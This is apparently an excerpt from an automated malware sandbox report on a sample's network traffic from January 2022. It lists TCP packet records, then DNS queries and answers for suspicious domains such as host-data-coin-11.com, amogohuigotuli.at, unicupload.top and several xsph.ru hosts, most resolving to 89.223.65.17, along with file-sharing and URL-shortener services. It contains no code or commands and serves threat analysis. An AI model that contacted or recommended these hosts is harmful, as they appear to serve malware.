Jan 4, 2022 19:34:09.302151918 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302154064 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302174091 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302177906 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302195072 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302201986 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302217007 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302225113 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302238941 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302249908 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302262068 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302277088 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302284002 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302304983 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302306890 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302325964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302326918 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302351952 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302359104 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302376986 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302390099 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302400112 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302421093 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302423000 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302445889 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302445889 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302467108 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302474022 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302489042 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302495956 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302510023 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302524090 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302531958 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302540064 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302552938 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302560091 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302575111 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302584887 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302596092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302618027 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302620888 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302639008 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302640915 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302659988 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302669048 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302681923 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302690029 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302702904 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302712917 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302725077 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302742958 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302747011 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302767038 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302767992 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302789927 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302792072 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302812099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302817106 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302833080 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302835941 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302854061 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302860022 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302875996 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302890062 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302897930 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302917957 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302920103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302941084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302947998 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302963972 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.302973032 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.302984953 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303002119 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303005934 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303018093 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303026915 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303049088 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303050995 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303071022 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303071976 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303092957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303096056 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303113937 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303124905 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303136110 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303153992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303158045 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303178072 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303179026 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303200960 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303210020 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303220987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303231001 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303242922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303252935 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303265095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303281069 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303286076 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303308010 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303316116 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303330898 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303338051 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303348064 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303364992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303369999 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303390980 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303391933 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303411961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303416014 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303431988 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303442001 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303455114 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303473949 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303477049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303498030 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303499937 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303520918 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303523064 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:09.303543091 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:09.303550005 CET	49898	80	192.168.2.5	116.202.186.120

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 4, 2022 19:32:46.068125010 CET	192.168.2.5	8.8.8.8	0xa222	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:46.522274017 CET	192.168.2.5	8.8.8.8	0x1dac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:46.762934923 CET	192.168.2.5	8.8.8.8	0x3779	Standard query (0)	privacytools-foryou-777.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:49.101771116 CET	192.168.2.5	8.8.8.8	0xc7a1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:49.602319002 CET	192.168.2.5	8.8.8.8	0x6825	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:49.792771101 CET	192.168.2.5	8.8.8.8	0x32ab	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:50.012084007 CET	192.168.2.5	8.8.8.8	0x8894	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:50.247939110 CET	192.168.2.5	8.8.8.8	0x737b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:51.090269089 CET	192.168.2.5	8.8.8.8	0xd2c8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:52.477201939 CET	192.168.2.5	8.8.8.8	0x6d65	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:52.706748009 CET	192.168.2.5	8.8.8.8	0x9137	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:52.900149107 CET	192.168.2.5	8.8.8.8	0x94cc	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:58.898350954 CET	192.168.2.5	8.8.8.8	0x1aac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:59.098107100 CET	192.168.2.5	8.8.8.8	0xe35f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:59.327708006 CET	192.168.2.5	8.8.8.8	0x8438	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:59.674631119 CET	192.168.2.5	8.8.8.8	0xe561	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:59.864639997 CET	192.168.2.5	8.8.8.8	0x704a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.076483965 CET	192.168.2.5	8.8.8.8	0x5d01	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.225028038 CET	192.168.2.5	8.8.8.8	0x7970	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.468554020 CET	192.168.2.5	8.8.8.8	0xe4e9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.660439968 CET	192.168.2.5	8.8.8.8	0x4743	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:00.858905077 CET	192.168.2.5	8.8.8.8	0x519a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:01.054914951 CET	192.168.2.5	8.8.8.8	0xd873	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:01.209578991 CET	192.168.2.5	8.8.8.8	0xda71	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:01.414587975 CET	192.168.2.5	8.8.8.8	0x4d1b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:01.599988937 CET	192.168.2.5	8.8.8.8	0x2fd5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:03.951637030 CET	192.168.2.5	8.8.8.8	0x976c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.237740993 CET	192.168.2.5	8.8.8.8	0x31e8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.671008110 CET	192.168.2.5	8.8.8.8	0xc580	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:04.939270973 CET	192.168.2.5	8.8.8.8	0x41f1	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:06.717139959 CET	192.168.2.5	8.8.8.8	0x90ad	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:06.937068939 CET	192.168.2.5	8.8.8.8	0x7076	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:07.161817074 CET	192.168.2.5	8.8.8.8	0x9148	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:19.001461029 CET	192.168.2.5	8.8.8.8	0xa28d	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:21.695975065 CET	192.168.2.5	8.8.8.8	0x5f1a	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:26.991641045 CET	192.168.2.5	8.8.8.8	0xc31b	Standard query (0)	srtuiyhuali.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.102307081 CET	192.168.2.5	8.8.8.8	0xfdaf	Standard query (0)	fufuiloirtu.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:27.401127100 CET	192.168.2.5	8.8.8.8	0xd20f	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:28.449157000 CET	192.168.2.5	8.8.8.8	0x677a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:28.648585081 CET	192.168.2.5	8.8.8.8	0xeac7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:28.864703894 CET	192.168.2.5	8.8.8.8	0xaf9d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:29.094826937 CET	192.168.2.5	8.8.8.8	0x391e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:29.316817999 CET	192.168.2.5	8.8.8.8	0x269d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:29.844449997 CET	192.168.2.5	8.8.8.8	0xcc97	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:31.447838068 CET	192.168.2.5	8.8.8.8	0x12fe	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.099167109 CET	192.168.2.5	8.8.8.8	0xc397	Standard query (0)	unic11m.top	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:32.174964905 CET	192.168.2.5	8.8.8.8	0x4747	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.128079891 CET	192.168.2.5	8.8.8.8	0xaf8d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.340699911 CET	192.168.2.5	8.8.8.8	0x10d6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.422482967 CET	192.168.2.5	8.8.8.8	0xffce	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.560332060 CET	192.168.2.5	8.8.8.8	0xc629	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.560527086 CET	192.168.2.5	8.8.8.8	0xe0bf	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:34.753875971 CET	192.168.2.5	8.8.8.8	0x5b0c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.005836964 CET	192.168.2.5	8.8.8.8	0x8a73	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.208940983 CET	192.168.2.5	8.8.8.8	0x5e72	Standard query (0)	bit.ly	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.405631065 CET	192.168.2.5	8.8.8.8	0x4282	Standard query (0)	bitly.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.613956928 CET	192.168.2.5	8.8.8.8	0x3f02	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:35.803725958 CET	192.168.2.5	8.8.8.8	0x95fd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:36.023104906 CET	192.168.2.5	8.8.8.8	0x1073	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:39.749269009 CET	192.168.2.5	8.8.8.8	0x701e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.010328054 CET	192.168.2.5	8.8.8.8	0x2760	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.206621885 CET	192.168.2.5	8.8.8.8	0xa59c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.420351028 CET	192.168.2.5	8.8.8.8	0x9126	Standard query (0)	bit.ly	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:40.626512051 CET	192.168.2.5	8.8.8.8	0x5442	Standard query (0)	www.mediafire.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:41.345593929 CET	192.168.2.5	8.8.8.8	0x6e9f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:41.560367107 CET	192.168.2.5	8.8.8.8	0x6967	Standard query (0)	bit.ly	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:41.754925966 CET	192.168.2.5	8.8.8.8	0xecbb	Standard query (0)	www.mediafire.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:42.468024015 CET	192.168.2.5	8.8.8.8	0x8583	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:42.671868086 CET	192.168.2.5	8.8.8.8	0xdb32	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:42.878957033 CET	192.168.2.5	8.8.8.8	0xda5b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.082484007 CET	192.168.2.5	8.8.8.8	0xace2	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.530966997 CET	192.168.2.5	8.8.8.8	0xe291	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.755482912 CET	192.168.2.5	8.8.8.8	0xbe44	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:43.944658041 CET	192.168.2.5	8.8.8.8	0x50d2	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:44.127238989 CET	192.168.2.5	8.8.8.8	0xfbff	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:44.359674931 CET	192.168.2.5	8.8.8.8	0xb809	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:46.159487963 CET	192.168.2.5	8.8.8.8	0xfe7d	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.899182081 CET	192.168.2.5	8.8.8.8	0xbcb0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:47.899224043 CET	192.168.2.5	8.8.8.8	0x75bd	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:48.156876087 CET	192.168.2.5	8.8.8.8	0xe695	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:48.337910891 CET	192.168.2.5	8.8.8.8	0xe22	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:48.527611971 CET	192.168.2.5	8.8.8.8	0xf446	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:48.782988071 CET	192.168.2.5	8.8.8.8	0xe2bc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:49.615017891 CET	192.168.2.5	8.8.8.8	0xf5c2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:50.413440943 CET	192.168.2.5	8.8.8.8	0x229b	Standard query (0)	f0616068.xsph.ru	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.840620041 CET	192.168.2.5	8.8.8.8	0x552e	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:54.842330933 CET	192.168.2.5	8.8.8.8	0x20b7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.032028913 CET	192.168.2.5	8.8.8.8	0x7863	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.235112906 CET	192.168.2.5	8.8.8.8	0x5562	Standard query (0)	vk.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.874588013 CET	192.168.2.5	8.8.8.8	0x6dd4	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:55.889983892 CET	192.168.2.5	8.8.8.8	0xb791	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:56.095582962 CET	192.168.2.5	8.8.8.8	0xb3a8	Standard query (0)	natribu.org	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:56.359882116 CET	192.168.2.5	8.8.8.8	0x463	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:56.645442963 CET	192.168.2.5	8.8.8.8	0xeeb3	Standard query (0)	natribu.org	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:56.882695913 CET	192.168.2.5	8.8.8.8	0x6c1f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:57.091738939 CET	192.168.2.5	8.8.8.8	0xd80f	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:57.651737928 CET	192.168.2.5	8.8.8.8	0x77fa	Standard query (0)	mstdn.social	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.141839981 CET	192.168.2.5	8.8.8.8	0x9f39	Standard query (0)	qoto.org	A (IP address)	IN (0x0001)
Jan 4, 2022 19:33:58.661042929 CET	192.168.2.5	8.8.8.8	0x21ac	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:01.010947943 CET	192.168.2.5	8.8.8.8	0x38e7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.255312920 CET	192.168.2.5	8.8.8.8	0xcf58	Standard query (0)	amogohuigotuli.at	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:02.317835093 CET	192.168.2.5	8.8.8.8	0x99	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:13.948523045 CET	192.168.2.5	8.8.8.8	0x644d	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:15.646044970 CET	192.168.2.5	8.8.8.8	0xfa2c	Standard query (0)	f0616071.xsph.ru	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:18.409645081 CET	192.168.2.5	8.8.8.8	0x635b	Standard query (0)	f0616073.xsph.ru	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:25.871715069 CET	192.168.2.5	8.8.8.8	0xc663	Standard query (0)	kent0mushinec0n3t.casacam.net	A (IP address)	IN (0x0001)
Jan 4, 2022 19:34:52.711987019 CET	192.168.2.5	8.8.8.8	0x6309	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 4, 2022 19:32:46.353008986 CET	8.8.8.8	192.168.2.5	0xa222	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:46.541034937 CET	8.8.8.8	192.168.2.5	0x1dac	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:47.085211992 CET	8.8.8.8	192.168.2.5	0x3779	No error (0)	privacytools-foryou-777.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:49.419750929 CET	8.8.8.8	192.168.2.5	0xc7a1	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:49.620958090 CET	8.8.8.8	192.168.2.5	0x6825	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:49.810087919 CET	8.8.8.8	192.168.2.5	0x32ab	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:50.031019926 CET	8.8.8.8	192.168.2.5	0x8894	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:50.579771042 CET	8.8.8.8	192.168.2.5	0x737b	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:51.108448029 CET	8.8.8.8	192.168.2.5	0xd2c8	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:52.495677948 CET	8.8.8.8	192.168.2.5	0x6d65	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:52.725264072 CET	8.8.8.8	192.168.2.5	0x9137	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:53.194371939 CET	8.8.8.8	192.168.2.5	0x94cc	No error (0)	data-host-coin-8.com		89.223.65.17	A (IP address)	IN (0x0001)
Jan 4, 2022 19:32:58.915494919 CET	8.8.8.8	192.168.2.5	0x1aac	No error (0)	host-data-coin-11.com		89.223.65.17	A (IP address)	IN (0x0001)
